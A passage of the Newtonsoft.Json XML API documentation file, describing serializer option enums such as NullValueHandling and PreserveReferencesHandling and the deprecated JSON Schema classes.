name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"T:System.Runtime.Serialization.DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.Runtime.Serialization.DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n       